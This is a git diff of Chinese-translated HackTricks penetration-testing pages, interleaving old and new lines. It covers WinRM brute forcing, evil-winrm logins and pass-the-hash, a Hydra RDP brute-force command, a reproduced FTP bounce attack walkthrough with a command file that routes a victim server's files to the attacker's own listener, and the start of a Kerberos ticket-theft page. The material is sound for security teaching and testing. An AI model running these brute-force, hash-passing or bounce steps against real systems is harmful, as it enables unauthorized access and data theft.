`enter-pssession : 连接到远程服务器 10.10.10.175 失败,并显示以下错误信息:WinRM 客户端无法处理该请求。如果身份验证方案与 Kerberos 不同,或者客户端计算机未加入域,则必须使用 HTTPS 传输,或将目标机器添加到 TrustedHosts 配置设置中。请使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。您可以通过运行以下命令获取有关此信息的更多信息:winrm help config。有关更多信息,请参阅 about_Remote_Troubleshooting 帮助主题。`
|
||||
|
||||
在客户端尝试以下操作(参考[这里](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
在客户端尝试(信息来自[这里](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
```ruby
|
||||
winrm quickconfig
|
||||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof 是所有加密漏洞赏金的家园。**
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
|
||||
**即时获得奖励**\
|
||||
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
|
||||
**黑客见解**\
|
||||
参与深入探讨黑客行为的刺激和挑战的内容
|
||||
|
||||
**在 web3 渗透测试中积累经验**\
|
||||
区块链协议和智能合约是新的互联网!在其兴起的时代掌握 web3 安全。
|
||||
**实时黑客新闻**\
|
||||
通过实时新闻和见解及时了解快节奏的黑客世界
|
||||
|
||||
**成为 web3 黑客传奇**\
|
||||
每次验证的漏洞都会获得声望积分,并登上每周排行榜的榜首。
|
||||
**最新公告**\
|
||||
了解最新的赏金任务发布和重要平台更新
|
||||
|
||||
[**在 HackenProof 上注册**](https://hackenproof.com/register) 开始从您的黑客攻击中赚取收入!
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## 在 Linux 中进行 WinRM 连接
|
||||
## 在Linux中建立WinRM连接
|
||||
|
||||
### 暴力破解
|
||||
|
||||
请注意,暴力破解 WinRM 可能会阻止用户。
|
||||
请注意,暴力破解WinRM可能会阻止用户。
|
||||
```ruby
|
||||
#Brute force
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
|
@ -231,116 +177,35 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
|
|||
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
|
||||
```
|
||||
### 使用 evil-winrm
|
||||
|
||||
Evil-winrm 是一款用于在 Windows 远程管理服务(WinRM)上进行渗透测试的工具。它提供了一个简单而强大的方式来与目标系统进行交互,并执行各种攻击操作。
|
||||
|
||||
#### 安装 evil-winrm
|
||||
|
||||
要安装 evil-winrm,可以使用 Ruby 的包管理器 gem 进行安装。在命令行中运行以下命令:
|
||||
|
||||
```bash
|
||||
gem install evil-winrm
|
||||
```
|
||||
|
||||
#### 连接到目标系统
|
||||
|
||||
使用 evil-winrm 连接到目标系统非常简单。在命令行中运行以下命令:
|
||||
|
||||
```bash
|
||||
evil-winrm -i <目标 IP> -u <用户名> -p <密码>
|
||||
```
|
||||
|
||||
替换 `<目标 IP>`、`<用户名>` 和 `<密码>` 为实际的目标系统 IP 地址、用户名和密码。
|
||||
|
||||
#### 执行命令
|
||||
|
||||
连接成功后,您可以在 evil-winrm 提供的交互式命令行中执行各种命令。例如,要列出目标系统上的用户,可以运行以下命令:
|
||||
|
||||
```bash
|
||||
shell whoami
|
||||
```
|
||||
|
||||
#### 上传和下载文件
|
||||
|
||||
使用 evil-winrm,您还可以上传和下载文件到目标系统。要上传文件,可以使用以下命令:
|
||||
|
||||
```bash
|
||||
upload <本地文件路径> <目标文件路径>
|
||||
```
|
||||
|
||||
要下载文件,可以使用以下命令:
|
||||
|
||||
```bash
|
||||
download <目标文件路径> <本地文件路径>
|
||||
```
|
||||
|
||||
替换 `<本地文件路径>` 和 `<目标文件路径>` 为实际的本地文件路径和目标文件路径。
|
||||
|
||||
#### 退出连接
|
||||
|
||||
要退出 evil-winrm 连接,可以在命令行中运行以下命令:
|
||||
|
||||
```bash
|
||||
exit
|
||||
```
|
||||
|
||||
这将关闭与目标系统的连接。
|
||||
|
||||
#### 注意事项
|
||||
|
||||
在使用 evil-winrm 进行渗透测试时,请务必遵守法律和道德规范。仅在获得合法授权的情况下使用该工具,并且仅限于合法的渗透测试活动。
|
||||
```ruby
|
||||
gem install evil-winrm
|
||||
```
|
||||
阅读其github上的**文档**:[https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
阅读其 **文档** 在其 github 上: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
```ruby
|
||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
要使用evil-winrm连接到一个IPv6地址,在/etc/hosts中创建一个条目,将一个域名设置为该IPv6地址,并连接到该域名。
|
||||
要使用 evil-winrm 连接到一个 IPv6 地址,在 /etc/hosts 中创建一个条目,将一个域名设置为该 IPv6 地址,并连接到该域名。
|
||||
|
||||
### 使用evil-winrm传递哈希值
|
||||
### 使用 evil-winrm 传递哈希
|
||||
```ruby
|
||||
evil-winrm -u <username> -H <Hash> -i <IP>
|
||||
```
|
||||
![](<../.gitbook/assets/image (173).png>)
|
||||
|
||||
### 使用PS-docker机器
|
||||
|
||||
PS-docker是一种利用Docker容器来执行PowerShell脚本的技术。通过使用PS-docker机器,我们可以在目标系统上执行PowerShell命令,以便进行渗透测试和攻击。
|
||||
|
||||
要使用PS-docker机器,我们需要先安装Docker,并确保Docker服务正在运行。然后,我们可以使用以下命令创建一个PS-docker机器:
|
||||
|
||||
```plaintext
|
||||
docker run -it --rm mcr.microsoft.com/powershell
|
||||
```
|
||||
|
||||
这将下载并运行一个包含PowerShell的Docker容器。一旦容器启动,我们就可以在容器中执行PowerShell命令。
|
||||
|
||||
要连接到目标系统的WinRM服务,我们可以使用以下命令:
|
||||
|
||||
```plaintext
|
||||
Enter-PSSession -ComputerName <target_ip> -Port <winrm_port> -Credential <credentials>
|
||||
```
|
||||
|
||||
其中,`<target_ip>`是目标系统的IP地址,`<winrm_port>`是WinRM服务的端口号,`<credentials>`是用于身份验证的凭据。
|
||||
|
||||
一旦连接成功,我们就可以在目标系统上执行各种PowerShell命令,包括执行远程代码、查找敏感信息等。
|
||||
|
||||
请注意,使用PS-docker机器需要具有适当的权限和授权,且仅限于合法的渗透测试和授权活动。
|
||||
```
|
||||
docker run -it quickbreach/powershell-ntlm
|
||||
$creds = Get-Credential
|
||||
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
|
||||
```
|
||||
### 使用Ruby脚本
|
||||
### 使用ruby脚本
|
||||
|
||||
从这里提取的代码:[https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)
|
||||
**代码提取自这里:[https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)**
|
||||
```ruby
|
||||
require 'winrm-fs'
|
||||
|
||||
# Author: Alamot
|
||||
# To upload a file type: UPLOAD local_path remote_path
|
||||
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
|
||||
# https://alamot.github.io/winrm_shell/
|
||||
|
||||
|
||||
conn = WinRM::Connection.new(
|
||||
|
@ -391,7 +256,7 @@ end
|
|||
|
||||
* `port:5985 Microsoft-HTTPAPI`
|
||||
|
||||
## 参考资料
|
||||
## References
|
||||
|
||||
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
|
||||
|
@ -432,31 +297,33 @@ Name: Hydra Brute Force
|
|||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
**HackenProof是所有加密漏洞赏金的家园。**
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**即时获得奖励**\
|
||||
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
|
||||
**在web3渗透测试中积累经验**\
|
||||
区块链协议和智能合约是新的互联网!在其兴起的时代掌握web3安全。
|
||||
**黑客见解**\
|
||||
参与深入探讨黑客的刺激和挑战的内容
|
||||
|
||||
**成为web3黑客传奇**\
|
||||
每次验证的漏洞都会获得声誉积分,并登上每周排行榜的榜首。
|
||||
**实时黑客新闻**\
|
||||
通过实时新闻和见解及时了解快节奏的黑客世界
|
||||
|
||||
[**在HackenProof上注册**](https://hackenproof.com/register) 开始从您的黑客攻击中获利!
|
||||
**最新公告**\
|
||||
了解最新的赏金任务发布和重要平台更新
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **,立即与顶尖黑客合作!**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为英雄,使用</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,169 +1,52 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 概述
|
||||
# 简历
|
||||
|
||||
如果您可以访问一个跳板FTP服务器,您可以让它请求其他FTP服务器(您知道一些凭证)的文件,并将该文件下载到您自己的服务器。
|
||||
如果您可以访问一个跳板FTP服务器,您可以让它请求另一个FTP服务器(您知道一些凭据的地方)的文件,并将该文件下载到您自己的服务器上。
|
||||
|
||||
## 要求
|
||||
|
||||
FTP中间服务器的有效凭证
|
||||
受害者FTP服务器的有效凭证
|
||||
两个服务器都接受PORT命令(跳板FTP攻击)
|
||||
您可以在FTP中间服务器的某个目录内写入
|
||||
出于某种原因,中间服务器将在受害者FTP服务器内拥有比您更多的访问权限(这是您要利用的)
|
||||
- 在FTP中间服务器中有有效的凭据
|
||||
- 在受害者FTP服务器中有有效的凭据
|
||||
- 两个服务器都接受PORT命令(跳板FTP攻击)
|
||||
- 您可以在FTP中间服务器的某个目录中写入
|
||||
- 中间服务器对受害者FTP服务器的访问权限比您更高,出于某种原因(这是您要利用的)
|
||||
|
||||
## 步骤
|
||||
|
||||
1. 连接到您自己的FTP服务器,并使连接处于被动模式(pasv命令),以便它在受害者服务将发送文件的目录中监听
|
||||
2. 制作FTP中间服务器将发送给受害者服务器的文件(利用)。这个文件将是一个纯文本,包含对受害者服务器进行认证、更改目录和下载文件到您自己服务器的必要命令。
|
||||
3. 连接到FTP中间服务器并上传前面的文件
|
||||
1. 连接到您自己的FTP服务器,并使连接被动(pasv命令),使其在受害者服务将发送文件的目录中监听
|
||||
2. 制作将发送到FTP中间服务器到受害者服务器的文件(利用)。此文件将是所需命令的明文,用于对抗受害者服务器进行身份验证,更改目录并将文件下载到您自己的服务器。
|
||||
3. 连接到FTP中间服务器并上传先前的文件
|
||||
4. 使FTP中间服务器与受害者服务器建立连接并发送利用文件
|
||||
5. 在您自己的FTP服务器上捕获文件
|
||||
6. 从FTP中间服务器删除利用文件
|
||||
5. 在您自己的FTP服务器中捕获文件
|
||||
6. 从FTP中间服务器中删除利用文件
|
||||
|
||||
有关更详细信息,请查看文章:[http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
||||
|
||||
|
||||
本帖子中的所有信息均摘自:[http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
||||
|
||||
# FTP跳板攻击
|
||||
|
||||
这讨论了"FTP服务器跳板攻击"的许多可能用途之一。使用的机制可能众所周知,但到目前为止,对详细说明或修复它的兴趣似乎很低。这个特定的例子展示了另一种方式,即大多数电子执行的"出口限制"完全无用且易于绕过。选择这个例子是为了让读者注意到标准FTP协议的一些真正设计不当的方面。
|
||||
|
||||
也感谢几个月前在imag.fr的Alain Knaff进行了简短但有趣的讨论,这些问题让我对它们有了更深入的思考。
|
||||
|
||||
## 动机
|
||||
|
||||
您是foreign.fr上的用户,IP地址为F.F.F.F,想从美国的crypto.com检索加密源代码。crypto.com的FTP服务器设置为允许您的连接,但因为您的源IP地址是非美国站点的\[至少他们的FTP服务器从DNS中可以确定是这样\],所以拒绝访问加密源。无论如何,您无法直接从crypto.com的服务器检索您想要的内容。
|
||||
|
||||
然而,crypto.com会允许ufred.edu下载加密源,因为ufred.edu也在美国。您碰巧知道ufred.edu上的/incoming是一个世界可写的目录,任何匿名用户都可以放入文件并从中读取。Crypto.com的IP地址是C.C.C.C。
|
||||
|
||||
## 攻击
|
||||
|
||||
这假设您有一个支持被动模式的FTP服务器。打开一个到您自己机器实际IP地址的FTP连接\[不是localhost\]并登录。更改到一个您有写权限的方便目录,然后执行:
|
||||
```text
|
||||
pasv
|
||||
stor foobar
|
||||
```
|
||||
```markdown
|
||||
注意从PASV命令返回的地址和端口,F,F,F,F,X,X。这个FTP会话现在将挂起,所以将其放到后台,或者切换到另一个窗口,以便继续进行下面的操作。
|
||||
|
||||
构建一个包含FTP服务器命令的文件。我们将这个文件称为“`instrs`”。它看起来像这样:
|
||||
```
|
||||
```text
|
||||
user ftp
|
||||
pass -anonymous@
|
||||
cwd /export-restricted-crypto
|
||||
type i
|
||||
port F,F,F,F,X,X
|
||||
retr crypto.tar.Z
|
||||
quit
|
||||
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
|
||||
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
|
||||
...
|
||||
```
|
||||
```
|
||||
打开一个到ufred.edu的FTP连接,匿名登录,并切换到/incoming目录。现在在这个FTP会话中输入以下命令,它会传输你的"`instrs`"文件的副本,然后指示ufred.edu的FTP服务器使用你的文件作为命令连接到crypto.com的FTP服务器:
|
||||
```
|
||||
```text
|
||||
put instrs
|
||||
port C,C,C,C,0,21
|
||||
retr instrs
|
||||
```
|
||||
`Crypto.tar.Z` 现在应该在您的机器上通过您的第一个 FTP 连接显示为 "`foobar`"。如果与 ufred.edu 的连接没有因为一个常见的服务器错误而自己断开,请通过删除 "`instrs`" 并退出来清理。否则,您将不得不重新连接以完成操作。
|
||||
|
||||
## 讨论
|
||||
|
||||
这有几个变种。您的 PASV 监听连接可以在任何您有文件写入权限的机器上打开——您自己的机器,与 ufred.edu 的另一个连接,或者完全无关的地方。实际上,它甚至不必是 FTP 服务器——任何能在已知 TCP 端口上监听并将原始数据读入文件的工具都可以。被动模式 FTP 数据连接只是一种方便的方式。
|
||||
|
||||
命令文件末尾的额外空值是为了填满 ufred -> crypto 连接两端的 TCP 窗口,并确保命令连接保持打开状态足够长的时间,以执行整个会话。否则,大多数 FTP 服务器在控制连接过早关闭时倾向于中止所有传输和命令处理。数据的大小足以填满接收和传输窗口,这在某些操作系统上是相当大的\[大约 30K\]。如果您知道两端的操作系统以及它们默认 TCP 窗口大小的总和,您可以减少这个大小。它被分成每行 250 个字符,以避免超出目标服务器的命令缓冲区——这可能是学术性的,因为您已经告诉服务器退出了。
|
||||
|
||||
如果 crypto.com 不允许您在 foreign.fr 的 *任何* FTP 客户端连接,并且您需要查看文件的位置,您可以始终在命令文件中放入 "`list -aR`" 并通过 ufred 获取整个树的目录列表。
|
||||
|
||||
您可能必须以 ASCII 模式而不是二进制模式将命令文件检索到目标的 FTP 服务器。一些 FTP 服务器可以处理原始换行符,但其他服务器可能需要命令行以 CRLF 对结束。当将文件检索到除 FTP 服务器之外的守护进程时,也要记住这一点。
|
||||
|
||||
## 其他可能性
|
||||
|
||||
尽管这样的第三方连接只是单向的,但它们可以用于各种事情。类似的方法可以用来发布几乎无法追踪的邮件和新闻,不断攻击各个站点的服务器,填满磁盘,尝试跳过防火墙,同时又令人讨厌且难以追踪。稍加思考就会意识到许多其他可怕的可能性。
|
||||
|
||||
这样启动的连接来自源端口 20,一些站点允许它们通过防火墙,以处理 "ftp-data" 问题。在某些情况下,这可能是次优的源路由攻击,而且在源路由在数据包过滤器上失败的情况下可能会成功。这一切都是由 FTP 协议规范的编写方式使然,允许控制连接来自任何地方,数据连接可以去任何地方。
|
||||
|
||||
## 防御
|
||||
|
||||
网络上总会有一些带有老旧 FTP 服务器和可写目录的站点,允许此类流量,所以说 "修复所有 FTP 服务器" 是错误的答案。但是您可以保护自己的服务器,既不成为第三方跳板点,也不被其他服务器用作跳板点。
|
||||
|
||||
首先明显的做法是只允许 FTP 服务器与控制连接起源的同一主机进行数据连接。这当然不能防止上述攻击,因为 PASV 监听器可以同样容易地位于 ufred.edu 上,从而满足该要求,但它确实防止了 *您的* 站点成为潜在的跳板点。这也破坏了 "代理 FTP" 的概念,但隐藏在这段话中的是一个非常小的小提琴。
|
||||
|
||||
下一个明显的做法是禁止来自保留端口的 FTP 控制连接,或者至少是端口 20。这可以防止上述情况。
|
||||
|
||||
这两件事,加上通常关于阻止源路由数据包和其他欺骗途径的建议,都是防止此类黑客攻击所必需的。并且考虑一下您是否真的需要一个开放的 "incoming" 目录。
|
||||
|
||||
只允许被动模式客户端数据连接是另一种可能性,但仍然有太多不支持被动模式的 FTP 客户端在使用。
|
||||
|
||||
## "松散的共识和运行代码"
|
||||
|
||||
这方面的一些现有工作可以在 avian.org 这里找到\[并且已经有几个月了,我可能会补充\],位于 "[fixkits 归档](ftp://ftp.avian.org:/src/fixkits/)"。提出了对 wu-ftpd-2.4 的几项修改,包括防止和记录使用伪造 PORT 命令的尝试的代码。还包括来自其他地方的最新安全修复,以及支持 s/key 和各种编译时选项,以增强特定应用的安全性。
|
||||
|
||||
Stan Barber 在 academ.com 正在努力将这些和其他几项修复合并到一个真正更新的 wu-ftpd 版本中。还有其他几个不同的努力正在进行。没有地方声称这项工作已经完成,但这是我已经考虑了一段时间的事情——一个网络范围内的 wu-ftpd-2.5 发布,来自网络各地的贡献。wu-ftpd 服务器已经非常流行,但迫切需要另一次安全升级。将所有改进汇集到一个协调的地方,并且看起来这将会发生,这将是很好的。当然,这些都无法帮助那些坚持运行供应商提供的服务器的人。
|
||||
|
||||
在 FTP 服务器修复中没有具体实现对客户端连接源端口的合理性检查,而是在 Wietse 的 tcp-wrappers 包的修改中实现,因为这个问题更普遍。添加了一个简单的 PORT 选项,它在 tcpd 阶段拒绝来自可配置源端口范围的连接,在调用守护进程之前。
|
||||
|
||||
这里的 [/src/fixkits/README](ftp://ftp.avian.org:/src/fixkits/README) 指出了一些内容。在获取其他东西之前,请先阅读这个路线图。
|
||||
|
||||
## 注释
|
||||
|
||||
在命令文件末尾添加空值是使这项工作针对各种守护进程的关键。仅发送所需数据通常会失败,因为立即关闭信号使守护进程退出。
|
||||
|
||||
如果 WUSTL 没有完全放弃整个 wu-ftpd 项目,他们对进一步的工作保持非常沉默。Bryan O'Connor 看起来现在有许多其他项目要参与...
|
||||
|
||||
这是一个简单的脚本,用于在基于 unix 的匿名 FTP 服务器上查找全球可写和 ftp 拥有的目录和文件。您会惊讶地发现,在运行这样的东西后不久,有多少这样的可写 "跳板点" 出现。您稍后将不得不检查您是否可以从这些地方 PUT 和 GET 文件;一些服务器保护上传的文件不被读取。许多服务器不这样做,然后想知道为什么它们是本周前十大 warez 站点之一...
|
||||
```text
|
||||
#!/bin/sh
|
||||
ftp -n $1 << FOE
|
||||
quote "user ftp"
|
||||
quote "pass -nobody@"
|
||||
prompt
|
||||
cd /
|
||||
dir "-aR" xxx.$$
|
||||
bye
|
||||
FOE
|
||||
# Not smart enough to figure out ftp's numeric UID if no passwd file!
|
||||
cat -v xxx.$$ | awk '
|
||||
BEGIN { idir = "/" ; dirp = 0 }
|
||||
/.:$/ { idir = $0 ; dirp = 1 ; }
|
||||
/^[-d][-r](......w.|........ *[0-9]* ftp *)/ {
|
||||
if (dirp == 1) print idir
|
||||
dirp = 0
|
||||
print $0
|
||||
} '
|
||||
rm xxx.$$
|
||||
```
|
||||
```markdown
|
||||
我想这可以称为一份白皮书。它可以在avian.org的[/random/ftp-attack](ftp://ftp.avian.org:/random/ftp-attack)获取,同时也在各个相关地方发布。_H* 950712
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,53 +1,44 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>零基础学习 AWS 黑客技术直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您希望在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
在 Linux 上,**票据存储在凭证缓存或 ccaches 中**。有 3 种主要类型,指示**可以在哪里找到票据:**
|
||||
|
||||
* **文件**,默认位于 **/tmp** 目录下,形式为 **krb5cc\_%{uid}**。
|
||||
* **内核密钥环**,Linux 内核中提供的用于存储密钥的特殊空间。
|
||||
* **进程内存**,当只有一个进程需要使用票据时使用。
|
||||
|
||||
要验证特定机器中使用的存储类型,必须在 **/etc/krb5.conf** 文件中检查变量 _**default\_ccache\_name**_,该文件默认对任何用户都有读权限。如果缺少此参数,其默认值为 _FILE:/tmp/krb5cc\_%{uid}_。
|
||||
|
||||
为了从其他两个来源(密钥环和进程)提取**票据**,2017 年发布的一篇很好的论文 [**Kerberos Credential Thievery (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf),解释了从它们中恢复票据的方法。
|
||||
|
||||
### 密钥环 - 来自论文
|
||||
|
||||
> **Linux 内核**具有一个称为**密钥环**的功能。这是一个位于内核内的**内存区域**,用于**管理和保留密钥**。
|
||||
>
|
||||
